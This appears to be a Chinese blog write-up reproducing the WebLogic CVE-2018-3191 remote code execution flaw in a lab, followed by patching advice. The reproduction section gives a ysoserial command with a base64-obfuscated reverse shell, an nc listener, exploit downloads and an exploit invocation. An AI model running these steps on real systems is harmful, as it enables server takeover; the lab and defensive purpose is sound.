1 简介

北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191)。该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。

2 漏洞复现

目标weblogci服务器已开放了T3服务,该服务器是部署在linux下,可以用https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628进行在 docker下部署测试环境。
image.png
1.在JRMPListener主机上运行以下命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjEvMjIzNCAwPiYx}|{base64,-d}|{bash,-i}"
//注意command目前只有nc反弹成功,bash反弹被转义了,本地监听1099端口,执行的命令是向weblogic服务器发送nc反弹命令的poc。
image.png
2.同时在JRMPListener主机另开一个命令窗口进行监听nc端口,命令如下:
nc -lvvp 2234

3.在本地的windows系统攻击者主机上运行此脚本
weblogic-spring-jndi-12.2.1.3.jar 对于weblogic:
12.2.1.3
weblogic-spring-jndi-10.3.6.0.jar 对于weblogic:
10.3.6.0
12.2.1.0
12.1.3.0
12.2.1.1

wget https://github.com/pyn3rd/CVE-2018-3191/blob/master/weblogic-spring-jndi-10.3.6.0.jar
wget https://github.com/pyn3rd/CVE-2018-3191/blob/master/weblogic-spring-jndi-12.2.1.3.jar
wget https://raw.githubusercontent.com/Libraggbond/CVE-2018-3191/master/exploit.py
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

python exploit.py 192.168.64.153 7002 weblogic-spring-jndi-10.3.6.0.jar 192.168.64.1 1099
//这里的192.168.64.153是weblogc服务器,7002为weblogic服务器端口;192.168.64.1为JRMPListener主机,rmi端口为1099
image.png
rmi命令执行了 但是没有反弹shell
image.png
换了vps监听,反弹shell成功
image.png

3 漏洞修复

1.Oracle官方已经在10月关键补丁更新CPU(重要补丁更新)中修复了该漏洞,强烈建议受影响的用户尽快升级更新进行防护。
https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html#AppendixFMW
2.禁止T3协议

4 参考链接

https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg
https://github.com/Libraggbond/CVE-2018-3191
https://www.cnblogs.com/backlion/p/9851625.html